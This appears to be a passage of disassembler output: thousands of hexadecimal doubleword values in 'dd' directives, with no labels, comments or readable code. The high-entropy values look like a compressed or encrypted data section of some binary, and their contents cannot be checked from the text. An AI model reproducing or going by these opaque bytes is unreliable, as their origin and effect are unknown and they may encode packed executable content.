6856A840h, 0E7183F77h dd 952AB0F1h, 3300EE73h, 0A07893EBh, 97297634h, 89098E79h dd 806903CFh, 54482FCAh, 5637CFDBh, 2EE90D6Ch, 52963563h dd 3DC8875Dh, 0D4684480h, 0FE469D4Bh, 5E0E28EFh, 5825AFE2h dd 7B8D8522h, 684130FCh, 0E32E5D29h, 4D42B50Bh, 57A6E956h dd 71F15E1Ah, 2F21F2AFh, 560515Eh, 754A5220h, 89229BCh dd 0E98B015Eh, 2890228Ch, 49057D0h, 80829796h, 0A342B372h dd 0B57980Fh, 0B2E349Fh, 123086DEh, 30C26F59h, 290E4125h dd 0A814BDEFh, 13B3CE01h, 3DFFA03Dh, 74135109h, 0CADC561Fh dd 637334Bh, 48D75C4Bh, 224602E9h, 0C7611737h, 82A4788Bh dd 0F531585Bh, 15E9D518h, 7D25E29Fh, 42B812B0h, 0DC25C12h dd 10EA400h, 80292078h, 70B0C083h, 3BECB031h, 0FCE40AEEh dd 8A5D4B3Bh, 176800FEh, 58430137h, 483C0B2Dh, 996014E1h dd 5BF65350h, 0C89093FCh, 3C52A940h, 61390B2h, 1044E325h dd 0B829804Dh, 92C681FEh, 2F6D940Ch, 80291A5h, 5A8B8958h dd 38EB3C0Eh, 5183C827h, 1CF9DE01h, 0DA0F92EAh, 76819A09h dd 5DC52FACh, 7354120h, 20CD2273h, 0BB8F6888h, 55EDD105h dd 86003DD4h, 43DB86F5h, 9D09BADCh, 0CCBCB759h, 1D541319h dd 294B85F2h, 95F13EF9h, 0AD02D83Ah, 80A44A45h, 0D39A8866h dd 75043D26h, 96C0BC3Ah, 27B899C7h, 0A5420731h, 0E99D82F5h dd 4A6E58EDh, 21F5B759h, 729109A3h, 5103FB44h, 0C98035B1h dd 71C19845h, 9119888h, 77576866h, 38B56FC8h, 0B9C7801Ch dd 2829EFC7h, 0FD6103Dh, 7F9D3173h, 8FB05CFh, 290B13D4h dd 0C2F609D3h, 9096DD34h, 0E984D20h, 73822D66h, 3CE2058Bh dd 0B867827Fh, 978490F3h, 3EF5A0Fh, 0D5591B47h, 19F7609Fh dd 2728D2E2h, 60CB8A29h, 3914838Fh, 0ED85B701h, 651C0818h dd 0BCB2854h, 0FBDD20F4h, 284CB804h, 5AE16ACh, 0A52E70A4h dd 2C39DDD8h, 0BABF02EAh, 433AECCEh, 59948CB4h, 185DA01h dd 0AA303ED7h, 5D07A0F3h, 0AD0A831h, 0F8BEA99Fh, 0E2D0016Eh dd 2E6B0548h, 42E8FB1h, 14AA2224h, 0C4B00D8h, 0D00D13E0h dd 75E52E11h, 58DB137Ah, 0E42ABCDEh, 0E4EBE5B1h, 0E1B22D35h dd 0D898F566h, 1CA41E20h, 0CB3CCE80h, 0D8FC84E6h, 0FE287904h dd 648E6C82h, 77E80783h, 47BA3F8Ah, 145FEE1h, 0E2910BCAh dd 0A6BB4A5Eh, 8180F1DAh, 6D52EFCBh, 0EEDA9507h, 2F5B4F09h dd 64EC8190h, 1C94D44h, 89F107Eh, 21B10658h, 0E9B585D0h dd 86B2D950h, 7D376809h, 59273053h, 0FEE94296h, 0E1943A56h dd 58A800A9h, 0A02D4DE6h, 5FA4260Eh, 1081E5Ah, 424A07FCh dd 3BECE601h, 96AE4CB5h, 0A4D3A709h, 77595409h, 9CC13DB0h dd 0BD70912h, 84065A9h, 39BB955Fh, 478FE00Fh, 0B4C28420h dd 0F02C46A4h, 44704FB9h, 1379EDA0h, 29B62E0Ch, 88E99753h dd 5C7D962Eh, 803834AEh, 6E0B2C4Eh, 0D3BB2107h, 0FCE9CC70h dd 7E420B84h, 69EFCE56h, 25D25287h, 0AFE1F3C5h, 0B8158FD7h dd 2B8FE058h, 6095225h, 54351024h, 419FFA08h, 7FCE815Eh dd 0A225E194h, 0CFAF79C6h, 60E952E1h, 69CA7FD4h, 40BE1810h dd 778647F7h, 53938BFh, 0E1ABFD4Eh, 0D7D19E9h, 805E316h dd 469203Fh, 322B38Eh, 0EBC1B6A4h, 90309987h, 0EC4B1E68h dd 48D40FCAh, 0F28054E7h, 6FC37F56h, 79D5892Fh, 9EB6258Bh dd 0C3538280h, 0A5294795h, 2E5E284Ah, 9753296Ch, 5B480C16h dd 79F60038h, 0BE564FF7h, 0C1281CE4h, 7E68B69h, 0EE975F04h dd 12B39730h, 25427D11h, 0DEBA020Fh, 807C479Bh, 2AC0BB4Fh dd 7D1C54B9h, 0ACEC95AFh, 0D1E4AD01h, 8F25E9C3h, 535D251h dd 61F7A63Fh, 9179E935h, 145D2497h, 0D1E4ADFFh, 8066DEh dd 0EE58145h, 22653813h, 0FB48EDC9h, 335A89E9h, 0F0D33FFDh dd 0E8BFBA5Ch, 0ECE8191h, 34432925h, 146DF6C0h, 955903h dd 0D4C587Ah, 0F4409598h, 0F1BCF41Ah, 5CA4094Fh, 47318AB9h dd 0E5D31C86h, 6E9F3818h, 0F6656B28h, 2714D000h, 4EE94137h dd 9024969Ch, 6EDA1224h, 23857B3Dh, 0AA028864h, 0CA662622h dd 0BA8460E6h, 1380B168h, 7AF350F8h, 8C07D69Fh, 3C48BD48h dd 5A4E8927h, 5DF70690h, 0C615855h, 687648E8h, 0A29C4A98h dd 0A32EF302h, 8E6BE137h, 0A3134AF0h, 804DAEB8h, 2D44B4C4h dd 15EA332Fh, 0D22C005Fh dd 0BA80A410h, 0A858E482h, 66EDC1DEh, 4A070605h, 3674D317h dd 49281619h, 0D5ABA0EBh, 23C858AFh, 0DA266748h, 92AC9F5Fh dd 0ECBEC593h, 39794EF4h, 0A6134C3Dh, 9173901Ch, 732DAD58h dd 0C26AE34Dh, 0C090982h, 296D25FFh, 0A386FD04h, 54FBD0Dh dd 0D20EEEA5h, 0E9C7A1F8h, 69272F4Ah, 854F2A7Ah, 1C72DC6h dd 823ABCE1h, 0D830AC81h, 50A3FC52h, 511C26B3h, 0EA96DD88h dd 5BB14C11h, 7E42A0A5h, 0EE5504A9h, 64982101h, 0D12C053Dh dd 143A0741h, 822DA9D1h, 3A489119h, 968308Ch, 227B763Ah dd 6A203E0h, 4F4BAA05h, 45AC73E9h, 5AD62109h, 1BF68900h dd 0C4C065Eh, 14F415C5h, 63F202B4h, 0C07B6068h, 2427E7D3h dd 12474EF5h, 7E77BECFh, 0F517EFB2h, 52204C94h, 695BB5FAh dd 2F2781ACh, 0F631E9C0h, 2168E192h, 9E10392Bh, 7335788Ah dd 0F14E7E42h, 3258B59h, 0C6819900h, 460CFCDFh, 0B159E98Fh dd 0EAD195ADh, 0FA139A63h, 0E9FB8158h, 67348AD8h, 0FE561E2Dh dd 0D56E8D03h, 11A63114h, 0AD5AD01Fh, 0DDD04A68h, 0CA23AA41h dd 8685CA2Ah, 0E2002E1Bh, 0C050B4C5h, 0E5D12461h, 93E008Dh dd 92E94AF9h, 0FD5D35Bh, 0DC9450AFh, 6CA0F55Ah, 84ADD035h dd 0B912A38Ch, 6E0008Dh, 0A075EB0Dh, 83129F55h, 80458385h dd 7B311411h, 4AFF3F5Ch, 46CB3294h, 0E9091B58h, 435C6DA8h dd 0D2560D65h, 796CFA09h, 48BAC0BEh, 100A8C19h, 0BAF5DBE9h dd 7D049BA0h, 2935792Dh, 117EAD1Dh, 0DA8C6FA4h, 17CB539Bh dd 0A06F159Eh, 57177E63h, 0C7124227h, 3ADC69FBh, 6335FC41h dd 56A6128Fh, 16660B4Ch, 685094DEh, 797809C4h, 8EF55A48h dd 0D31A5D1Fh, 0E3486008h, 28411273h, 97B45F31h, 8B8AED94h dd 5E65A786h, 66E995F5h, 4944F51Eh, 0F740E533h, 0D9A0FC05h dd 0D8280117h, 54C4072Dh, 590B8ABEh, 0C17A3EF4h, 0B001717Dh dd 8098ECF7h, 24D0EB3Eh, 4292F484h, 0A1DC1C04h, 7F05F540h dd 211443BEh, 4F85DEFh, 0FDF3DF3Eh, 0C05E53C2h, 0F859847Dh dd 90FEF247h, 5F08815Eh, 27CDE33Eh, 756712B8h, 95300498h dd 27CC4695h, 14D6ACD5h, 0A5B168h, 7D38CF86h, 200DB049h dd 7908CFAh, 0B03E6B41h, 8850A8FEh, 1441D8D5h, 8F34C5DDh dd 0BE529A5Fh, 4C501EC5h, 0E7EBCA09h, 0AC1A5B39h, 5500690Ah dd 0E90C4478h, 1D3B4A5h, 295EF031h, 0AAF06BC7h, 3D6204CAh dd 0BE50FD18h, 1E712880h, 890A315Eh, 6F82C96Ch, 0B9C00031h dd 8FDE6602h, 0EC6AF80Bh, 5B2958A2h, 92E5ED5Ah, 0B825E244h dd 6211BD40h, 43B20B6Ah, 0B909F424h, 0FDE3818Fh, 0C04A450Eh dd 4013A1F3h, 4589E08h, 91238C68h, 48BBE002h, 6A7FC9EFh dd 0B850390Eh, 3D412030h, 969E13E9h, 91789509h, 0F7065838h dd 6E3EF80h, 0EC4A517Eh, 405D7B0Ch, 981E0426h, 0F0D8F743h dd 0E81FC1FCh, 33C10D05h, 4D2518FFh, 2DD01AD9h, 0D4B20546h dd 1CC201D2h, 7813C0A9h, 5789695Dh, 898205Bh, 75C2BF62h dd 41FA9F54h, 82643D32h, 1F0F9F86h, 23C0FD2Bh, 0F6071FB3h dd 0F2C380DBh, 80AAEA33h, 0BAC1E9DAh, 545618A9h, 7EE1DC5Eh dd 21E1C1BEh, 0CD6A1C5Fh, 9A4F2EE4h, 0E5E837BDh, 815954C4h dd 117D5830h, 82D88BC6h, 68F29FB4h, 0F704EA2Bh, 6C66885h dd 30C0B7A8h, 5A2B4971h, 0E59EAEFCh, 6637BE60h, 0E956137Ch dd 0E7D7A42Dh, 0E94291A5h, 77A442Eh, 5573F3EFh, 0C310B644h dd 79685E16h, 0C61825B9h, 0B0EB2DC0h, 227F0812h, 8A650AFh dd 71441C6Fh, 69CB8279h, 6095C4D0h, 0F44058E4h, 8C995E65h dd 0D7568927h, 0DC312CF0h, 6B5D6804h, 0FD0489A3h, 0C06C8085h dd 0A8465F3Bh, 0F001751Bh, 16CAF566h, 0F8D5C84Fh, 79B2695Eh dd 38F10C9Bh, 9E736CD8h, 56A4EE0Bh, 77FCE955h, 2540601h dd 985493E9h, 8B4BD2F8h, 572102B3h, 564EE91Ch, 2BB0930h dd 0A0454066h, 2369216Bh, 11397676h, 0F15C5E64h, 1028FC1Ah dd 0AD552484h, 9379DE16h, 1A7F1DCh, 9760787Eh, 6B6AF6E9h dd 9CB0B5D0h, 2CC03504h, 0D1B81356h, 688D61ACh, 70FD90DCh dd 5BE3BD16h, 0E9C15552h, 0C8661B67h, 0DF611502h, 0C576427Fh dd 0ED800735h, 76116004h, 0CBE901F6h, 1574205h, 8A6A0D1h dd 0B5D75A7Fh, 0BBE485E2h, 44593C9h, 417CB3B2h, 0DE32C9ECh dd 0D322EDC2h, 9B7B5FFEh, 371BC601h, 1EA06190h, 0D50882EFh dd 625F8FE1h, 0C9090236h, 569B840Fh, 75F627AFh, 0E7384C51h dd 0F58A475Eh, 6B1CA249h, 88E6C6E0h, 1AAC916h, 76D32DEBh dd 5CD42D6Dh, 48DD9866h, 0D93E656Fh, 0A41BAE2Ch, 0F1015D84h dd 835C48FFh, 95FBC627h, 0D0A1A9Bh, 0A611A9E9h, 4B001E6Ah dd 4D682142h, 0B7ED73D1h, 72C08B70h, 0CC7A40CDh, 9F2B9089h dd 32F16BA0h, 717622B9h, 5E1DE106h, 721E3EF0h, 9905F06h dd 8F46613h, 9679242h, 0B4884602h, 44EB947Dh, 2BC27D14h dd 466BF068h, 42DB9D2Ah, 0BB2028EBh, 2D51B900h, 0BD543C9Fh dd 0B9E42C0h, 58759B58h, 214F1065h, 0ECD6BE00h, 0F529B489h dd 22BDDDB0h, 4A77E9F6h, 2602D768h, 5F2BE10Eh, 15886200h dd 0DCB86B58h, 94057802h, 56DF0152h, 2EE7C0A8h, 7812396Ah dd 0B4901FE9h, 2011BCC7h, 55026332h, 17A586Dh, 9B762CFh dd 1D0D8208h, 0F098551Ah, 87D97C85h, 0AE64FC11h, 196D0BB8h dd 0AC0C4A67h, 0E8130504h, 6054E60h, 0DBB58347h, 7F40F600h dd 4EE2B8F6h, 0ED281234h, 0CFE9F166h, 0DD32172Bh, 6664F8AEh dd 3A82894Ch, 0D17EC1A1h, 82801F3Ah, 3844EF5Fh, 42810F09h dd 6C6B7523h, 8C1284Fh, 0DD5FE7C9h, 35A9334h, 575ECA05h dd 6546BD0Eh, 2F80159Ah, 4A1F09DCh, 2F79F3A1h, 0FECF8B6Fh dd 728FB983h, 0D8BCD788h, 8CEA9DD8h, 4C1F17E0h, 2849C229h dd 5210F716h, 932D67D8h, 24CA650Ch, 68150534h, 5100EF34h dd 1EBD61C1h, 8AFE5A21h, 0D687162Eh, 96C41A8h, 0E6028110h dd 4FDC1BE1h, 0BEBB88C1h, 4919013Dh, 7DFE9F8h, 128CC3Ah dd 0EC8C17B6h, 9EEBF65h, 6DED1B1Dh, 167EB542h, 9D9CC69h dd 0FC448EDh, 0EB6F7F78h, 36CDEF0Fh, 411882BCh, 0CF1576Dh dd 235D581Fh, 0FC892073h, 833D55CBh, 0DC2E01B1h, 42F72138h dd 0D709F002h, 0A36CB105h, 0F2607F1Eh, 28212C63h, 66D0F5F0h dd 0C9DE15Ah, 0BC51524Ch, 0A2B3C059h, 37FEC0B1h, 336E80C9h dd 0C38B4C1h, 2ED93DD4h, 5819F79h, 0BA5A7A7Fh, 97D594F8h dd 0B45009A3h, 5A12FCF5h, 0ED39D6FCh, 0E935EB82h, 165D03D0h dd 4A9DFA0Fh, 87A0B4D6h, 680DB960h, 3E341498h, 4512587Eh dd 0B232FADCh, 0B2CBAA21h, 725D3A03h, 0B6B7D928h, 0DA68179Eh dd 14D5606Dh, 44E91A15h, 0A164B575h, 0E526E191h, 25BB9908h dd 9C887343h, 0EE4842B4h, 438C625Ah, 99FA89h, 45A83FE5h dd 3B54D1BFh, 0CF313013h, 0C10CB78Ah, 3EF802EFh, 0AEC4EBFEh dd 971268A2h, 917095CBh, 2AEAD134h, 5B54ACB0h, 65EF3168h dd 0C1F08363h, 9D3108EAh, 404C7C86h, 2FEDF6B3h, 15108CA3h dd 71BB9669h, 34647F82h, 0B4322FEh, 0E9E5A17Fh, 616E90E9h dd 749F1943h, 745A0167h, 0F94FFDE3h, 2BB44F0Ah, 942976E9h dd 73A58409h, 0FAB6C597h, 4982C735h, 9577E685h, 0C9630260h dd 32FFB83h, 68C201A1h, 3710386Dh, 926286B0h, 777ED660h dd 5C02C962h, 82BA623Bh, 0B4B11F4h, 86CE619Dh, 0BD01C096h dd 10999097h, 854043D5h, 0E9FE0A88h, 0B432ACF6h, 2E2DEA06h dd 0F2B50C78h, 85548B00h dd 0A3981C8Dh, 0AB3B1470h, 0AD80A62Dh, 295C865Eh, 201FDBB5h dd 407AB00Ch, 0AABBBBCDh, 0A4DD5C2Dh, 0E95C2D55h, 0A0B78AEh dd 0A59E5F9Fh, 0AFE90CC2h, 474C5577h, 0E382AAC4h, 74C86AA5h dd 8D064A90h, 2D72629Ah, 52233014h, 0E010D263h, 43583598h dd 0C90676BEh, 171E39F3h, 2618FA18h, 36B3B5Eh, 14870226h dd 0FA051804h, 40AA369Dh, 4474F765h, 0CC169D5h, 51AE4E68h dd 89036E78h, 887BE9CEh, 0FBC9A903h, 37E967Ah, 84B0DB4h dd 262D3168h, 285D80B7h, 12B551C8h, 9E5C033h, 0BC20570Bh dd 7316D1BAh, 252E207Ah, 2EACFA10h, 1D461C02h, 0F4E1400Dh dd 66B3E3Ch, 0E24A060h, 0E760C133h, 29B6EF12h, 0A18DB84Ch dd 0DEE22A1Eh, 6B0BCB43h, 8574C2D0h, 48702731h, 0DBC361CCh dd 0ED62044Fh, 0C55E4066h, 646E901Bh, 4960C378h, 0AB3F9462h dd 723990DEh, 59C804F9h, 937EE95Fh, 3AB1ACD8h, 0B4F73A94h dd 4D2C5C0Fh, 0D66C5FD7h, 570063ADh, 2B9BC7E9h, 444C8AF6h dd 67E66808h, 613FE909h, 0E5204A50h, 1A332DB6h, 83097650h dd 84CDE140h, 0EC19BF5Ah, 0EFDB6BFDh, 0B2101852h, 4CFD4A78h dd 8071AAD7h, 449765D6h, 3C090949h, 923C981h, 38A3AF1h dd 0EFD9F713h, 1F41F58h, 520860C9h, 743952F1h, 0C6D0CAF2h dd 0F6244E08h, 42BD8C57h, 44B49A98h, 26F96816h, 880E67B3h dd 0F76153E6h, 23CC11E9h, 1F512685h, 880BC810h, 3ADC5919h dd 426C517Ah, 89096D6Bh, 28458197h, 7B2001FDh, 32BA0252h dd 421FCE61h, 81E100F5h, 90785ACAh, 8F4A51CAh, 4B7025C8h dd 7A8DB158h, 307F642h, 27D9F608h, 182C0DCh, 7C33E9F2h dd 8335C57Fh, 0C65EDDDh, 92BCEC60h, 0C08C8790h, 0F9B08A1Eh dd 0C1662EDDh, 0B9238F13h, 0CA8C106h, 5AACCA6Bh, 685B1DC0h dd 0F9744E2Bh, 58B68BDAh, 46209C74h, 2118457Bh, 3FBC59CAh dd 0CBC73C9Eh, 0FBC5E4CFh, 0FE39BF00h, 16E9DF29h, 0FC33D31Ah dd 2DDE963Fh, 0A084194Ch, 6ABD00FFh, 0B87B9A08h, 0B2AA4037h dd 348ECD59h, 0C0AE436Dh, 0A17B1643h, 3C2C705Fh, 0DA5302B5h dd 5FFD215Eh, 0C5849854h, 0BAC1DBE2h, 0A23EEB01h, 971520CFh dd 774E377Ah, 0BEA41ABDh, 0E90B9CCBh, 0D12AB53Bh, 0D620298h dd 0C6AA6043h, 0F8902F84h, 6E1739E1h, 0A20005D3h, 7AB5333Dh dd 0F21020E9h, 0FECEB000h, 4540CC8h, 0F3240307h, 0D6F6F086h dd 78340824h, 6BB93709h, 0D15A903Ch, 0F909BD40h, 8C5433B2h dd 5ACB6878h, 16D3E315h, 6D5C6F52h, 6E8EF422h, 0C2C4D562h dd 0C12ED4EEh, 8BEF50h, 979CC884h, 0D1316A90h, 62222ECBh dd 0F50F42C7h, 0C2DF9BBAh, 8E62D54Eh, 0E05F5E6Ch, 0F7804680h dd 0FE0825EDh, 1498F3F8h, 459C7528h, 29D42025h, 2D17447Ch dd 58EE5FD5h, 72D38DAh, 0F831809Eh, 0F22AF188h, 0D5E53CE4h dd 409D0042h, 7A00B67Fh, 18E12D5Eh, 28294A56h, 0B00705D8h dd 0D0514A96h, 16F8F17Ah, 0FE608824h, 36C96B1Fh, 2182D73Fh dd 38C0D1F7h, 1D2C8E3Dh, 70AD9DF6h, 0CD53203Bh, 20BC5548h dd 0B05EFC9Ah, 0FA4A9D43h, 3DD41081h, 0F5EC70DDh, 0BD886640h dd 2EC884ADh, 53CB88A2h, 0DD2FBC46h, 98D9C65Bh, 72968A26h dd 0B8EDE6A5h, 0E22C4A03h, 2F28CCA0h, 0B93CE068h, 245D9DA0h dd 11B962A1h, 404C800Eh, 0BA1770h, 61A79665h, 6CE9CA29h dd 85EDA34Eh, 3731C5C0h, 9B903561h, 587B4809h, 98C86362h dd 0A0B850D5h, 98C5290Bh, 1AED5166h, 43EAE72Eh, 0CF4B4B81h dd 573DA92Fh, 5EC31982h, 0AB2CC80Ah, 0D2822944h, 27517C48h dd 83588381h, 608946C6h, 68659697h, 2FA4B9Eh, 729D7B8Ch dd 310E0C74h, 8F24CD6h, 38B2DE9h, 0FE698176h, 99C8B71Bh dd 0CF92D77h, 4A8EA26Bh, 803643B5h, 1E2C337Bh, 0F7795B4Ah dd 974CC84Bh, 40E4DEEBh, 0F71D28F1h, 0CF025A66h, 5739C780h dd 92BF49E7h, 0B80901EFh, 26005CFAh, 6E8192Bh, 4C2C606Bh dd 9868E910h, 5E232D75h, 0BCC6FE5Ch, 0F0293B13h, 0FBD82B92h dd 0CB2DFB70h, 209A0502h, 1605E801h, 0E94A2C07h, 64801D4Ah dd 14D02505h, 0FA898008h, 57045A7Dh, 823CA3B6h, 0F75E7368h dd 0D182DC96h, 0E93DE87Dh, 22C99D7Dh, 0F60821D8h, 47A0F509h dd 2EE5EB81h, 9C003EE9h, 1A3A1946h, 0C210C801h, 9ADC2A4Dh dd 6872293Bh, 0D9B90146h, 7026C949h, 80807BC7h, 3BE7B0CEh dd 0C25E8FEEh, 2955BCBFh, 0F74F60E0h, 16984807h, 0A6842A7Eh dd 8F54CAAh, 5FAE0C73h, 0C0C5601h, 0EE6D3114h, 765D25A7h dd 797E5AEAh, 98546542h, 403AE98Ah, 0D000F703h, 4E7FBB0Dh dd 0E8EE2550h, 2045981Eh, 89279716h, 95A614CDh, 0B3F5AC80h dd 7C16BA34h, 32C35DE9h, 21C24B68h, 6E2DB665h, 9B0EAB4h dd 192EE9C0h, 0FAEB8525h, 8D7FDE2Dh, 0CFF23AE2h, 2800B64Ch dd 5D57B861h, 58001A05h, 0F0011BB1h, 0E02E6851h, 205390C8h dd 2D4AFC1Fh, 502A0F9h, 3212568Fh, 0B2CBF0C2h, 6A5CC1A9h dd 2D7BDFA7h, 0A972BE72h, 0AB0E8F33h, 0CDF0E9D3h, 6ED91F6Dh dd 9A95049Bh, 41AF8D0Dh, 0E296097Eh, 5421881h, 0C9BCC30h dd 4AE9511Fh, 0DA2EED6Ah, 98BD7F5Bh, 0F163F776h, 0D7B37D65h dd 7B99E17Ch, 0C6246EC9h, 0E5C4C62h, 2AE036A7h, 2994B45Eh dd 5C712DBAh, 155BE8B5h, 0EB171FE3h, 20076125h, 26326F64h dd 0E62D7DECh, 0FBA73EF0h, 85560493h, 3728AE20h, 58CD5E19h dd 874504F4h, 0C92DD57Ch, 0F5F52B99h, 121FA798h, 84B055F0h dd 9828E5B0h, 0A9B5C462h, 0BE6FE9Ch, 0B4CEE857h, 0C988D275h dd 4479825Bh, 0F65E62A5h, 0B32C4CF5h, 79954Ch, 5BD82855h dd 47AB450h, 0CDE9C4FEh, 0A629EAD2h, 0EC598D6Eh, 60011EF3h dd 6FFE2D7Ch, 0D4E82232h, 3FE42411h, 7513ED6h, 54118FF2h dd 2787491Bh, 24EAC650h, 0C232A6C3h, 2101EAC0h, 20905BDFh dd 51BA00F4h, 816A0C31h, 45500DF2h, 0C00C307Eh, 585C3759h dd 0B67C1975h, 0B2DCE1C5h, 10EC4C5h, 0ED80FFCFh, 80797D43h dd 0EE2D3F66h, 0CABF838h, 1D685A70h, 5817870h, 0E98DA53Ah dd 67C53E67h, 0E9273CABh, 23C00955h, 6E247AD6h, 0D2800461h dd 5A5E5256h, 84F60481h, 0D5C18908h, 0B279827Dh, 6A9632D1h dd 0B309D7E2h, 42828C38h, 1C7761FBh, 5F881657h, 2359928h dd 770B5AA4h, 5FF85E18h, 35D86995h, 3C663E34h, 0B026F9F7h dd 93539F5Dh, 0ACE8C57Bh, 338C9802h, 0BF4AF82Fh, 805F5A42h dd 5B6CC73Ch, 876A3CFCh, 0E90646B0h, 9BCE03E6h, 31CE4BC1h dd 0F4EC50CAh, 0FCE2FC52h, 2A44B8D3h, 178191E9h, 0B3675968h dd 5A5C1206h, 552FA6B3h, 1EE2DCA0h, 8118050Eh, 10DDEEFh dd 5B69B7FDh, 5BD47A4Ah, 201ECF80h, 0CC739DC5h, 213E904h dd 0A44BE7E2h, 251DBFF3h, 58BD488Ah, 0C9907D5Fh, 3FAC301h dd 0CB014E51h, 50FCE570h, 26E9B421h, 0AF8DBC5Eh, 5E3FD7Eh dd 169A2Dh, 0C3413725h, 0E9402A1Eh, 0CEAC8F6Ch, 37E5819h dd 21A488BEh, 5A1FAC7Ah, 0D19DC552h, 7308620Eh, 3DBBC00Fh dd 0A074AB58h, 917C794h, 0DFF764A5h, 805DF9E2h, 0FB12CAFBh dd 0EAE3A043h, 118C27C4h, 0E909C054h, 5A49C193h, 48553560h dd 0D824F017h, 240822A3h, 17395AD0h, 47CD04C0h, 396802B1h dd 953EC5Dh, 49DD0525h, 0A28056D6h, 317F9470h, 9D98ACF8h dd 42B01409h, 104A1F68h, 21D6B7BCh, 7FF942CAh, 0CA2ABBCDh dd 0E86809B7h, 0C0E89A61h, 45EBF92h, 27E91207h, 0DE1ABDB5h dd 0B0A02CD2h, 0E5CE4CFEh dd 0D5A5165Ah, 0A015ECA1h, 0BE36E9CFh, 0AE5E1351h, 88EBFE64h dd 31C9D114h, 9496755Dh, 76102F2Fh, 0DC78EBD4h, 0FD2D9B69h dd 0F425191Ch, 63CF2099h, 4D77323Eh, 0D7102A01h, 30BF07ECh dd 4FC7240Dh, 0E3A98DB4h, 7A97CB02h, 808F7ED1h, 219D3067h dd 2FA49E9h, 0C8ABFD31h, 94553C62h, 4B81B568h, 34EF0AE9h dd 304C63D0h, 0EA337C8Fh, 0B2080603h, 0F2AA40E2h, 0BD691DABh dd 0A889BF33h, 0DF80EE76h, 7DCB20C2h, 4AF72D7h, 0F9689E5Ch dd 8925108Ch, 27E77B73h, 884654C4h, 365EE424h, 2FFDDE2Fh dd 9E6BBA0h, 763BC31Fh, 0F16EA7E9h, 4E46EB97h, 0F3AAE917h dd 32199D52h, 0C1FDAC0Ah, 0CAFD9361h, 8A80C52Eh, 5022107h dd 20E0E2E9h, 0D07495C7h, 0F0095D18h, 9E28E97Dh, 0D1210E33h dd 226046E9h, 7A2E6858h, 0C0C24B7Fh, 1F0309ABh, 63DB5361h dd 9C78E5DAh, 22D36804h, 0F9CA08A7h, 24675410h, 21C8A64h dd 0D5168C7h, 0F96059D2h, 4A7BFB5h, 2E5C967Eh, 936752E9h dd 40AF985Ah, 0D091FE62h, 0C3CC9A03h, 0A6C8F964h, 9C0922Dh dd 6F850FDBh, 0EED4635Eh, 53B90FFh, 9425174Dh, 0E0DB0E79h dd 4050D820h, 2B6C092Dh, 0AFFDD6FCh, 0BFE2F2CFh, 8E028705h dd 43D4EB30h, 0E9790818h, 0F3584823h, 76C9E5B2h, 16D52B64h dd 141A9FA9h, 2269B9AFh, 3FD73C54h, 68021343h, 0AF4972BEh dd 0C70983ABh, 932402F1h, 9A7DA502h, 7B04E164h, 5808DD77h dd 0EC880418h, 1E26BB56h, 685F824Ah, 0CE754F87h, 0A0F23429h dd 618CBA2Dh, 13090AEFh, 26836FE6h, 39CF0B4Ch, 0F1012A54h dd 3FCB2AC6h, 5825777Ch, 68E7D659h, 95B33EA5h, 0E9D48806h dd 190F7D6h, 0C5A02009h, 230B5783h, 0CB778E7Fh, 0D1DD6C3h dd 652ADEADh, 1CC96B10h, 5D07A042h, 70B8C322h, 0A56FB549h dd 8AE541FBh, 0C3EAE3CCh, 0CBFE8E0Ch, 0E9BEF3D8h, 72C5DA4Eh dd 96042399h, 0D889E24Dh, 0EA120679h, 80D9E25Dh, 5443CBBDh dd 0FD315A0Ch, 0AF2D691h, 2E09ED4Ah, 0DCADE671h, 25547288h dd 7139B547h, 0E80D8889h, 816BFC2Dh, 23652D4Bh, 0C4376C53h dd 8100B7E1h, 0C8098FF3h, 94F2F48h, 5875B3F8h, 0B6446CAh dd 0AA69C7h, 4D31E2DAh, 925C247Eh, 0BFA3994h, 347D9FCAh dd 0FB1CAF70h, 89D4F5FFh, 0E6B8D274h, 0A8155D13h, 7A37CB84h dd 0B0E704F0h, 80022B39h, 8FBE1428h, 5A298C2Fh, 0B972B716h dd 0D4B92D5Ah, 2207E924h, 558A26E5h, 6A66AF12h, 4F76625h dd 530E9BC3h, 0F9E37AC4h, 966A3E4h, 539D6849h, 0D655B275h dd 17E9619Bh, 0E0A22A18h, 0BCD49D85h, 68568367h, 6D7780D8h dd 0CE81035Eh, 1CC2174Ch, 0D8DEF6B1h, 89737DF7h, 140B2DFEh dd 547B5D5Ch, 0B007202Ah, 956D7E86h, 44FFFA92h, 0FE9B209Ah dd 4FBC5A95h, 0EC43C443h, 0E1F6A168h, 0AA9B312Eh, 0DF101A2Bh dd 0D9845073h, 7B4AD8F0h, 0EB96E3E2h, 0D021072Dh, 0B63E8C3Eh dd 0F0E320F3h, 0C505514Ah, 0C8AE59CBh, 0BB949F86h, 0CEB5923Fh dd 0E2136321h, 4DFE6800h, 5192EC99h, 0F53AF20Dh, 1B3B3320h dd 0B46E8E2Eh, 639017A6h, 34C2C820h, 0FEA6D529h, 94484755h dd 0E6AB1006h, 1D3EBF03h, 92D30EC6h, 0D6F67F00h, 533FB450h dd 83417B7h, 0B1C811FCh, 57C07E5Dh, 0DF747DBFh, 2BAD09BDh dd 7ABFD4DAh, 20E9CCF7h, 15CAD6Bh, 0C02216F9h, 7C36F529h dd 6ABC9A4Ch, 0F72FDA41h, 5C5C7A36h, 0D24B896Eh, 12CA03D1h dd 4A033044h, 2F68CBE1h, 1F5B52A6h, 0A6854909h, 5B90D952h dd 15892E0Fh, 8AEFA01h, 327F008h, 2D5AEA77h, 1685379h dd 81D8DCDh, 0E59F7530h, 0D61B3D57h, 2A28B850h, 41EC9001h dd 27E02F8Dh, 0E8D14F5Fh, 8B53DE9Fh, 0F5807443h, 1FED99F8h dd 9D09C5D8h, 0E60435C8h, 0A5F1E395h, 4468E00Bh, 16294E38h dd 14B5ED1Ch, 30C35D5Ah, 0A1EEA3A3h, 1E43265Ch, 2E1F079Ch dd 0DBE931EBh, 7D5002B6h, 5B9FEACEh, 0CFB1894Eh, 400A2C21h dd 82017AA5h, 9CC5DE7Dh, 323BE42Fh, 0C673CC63h, 204A8186h dd 0BE71136Fh, 0D23AE469h, 0FACADF27h, 80B8B281h, 0E82FEBCEh dd 812ED690h, 0AE996F7h, 3BF73FF3h, 0BD903690h, 0F8B5D720h dd 6D16998h, 5A1EA456h, 0C032C71h, 4C6A16A7h, 0F786A960h dd 0BB625782h, 6705A100h, 0C6F21C88h, 6908E0D0h, 0DC41721Ch dd 846A010Ch, 6C63E939h, 1DCA4A1Dh, 0EEBE3D5Ah, 0FF16E302h dd 1905E4Ch, 1F83E5FEh, 0DD52C7F0h, 5F9E71FAh, 0E9046B58h dd 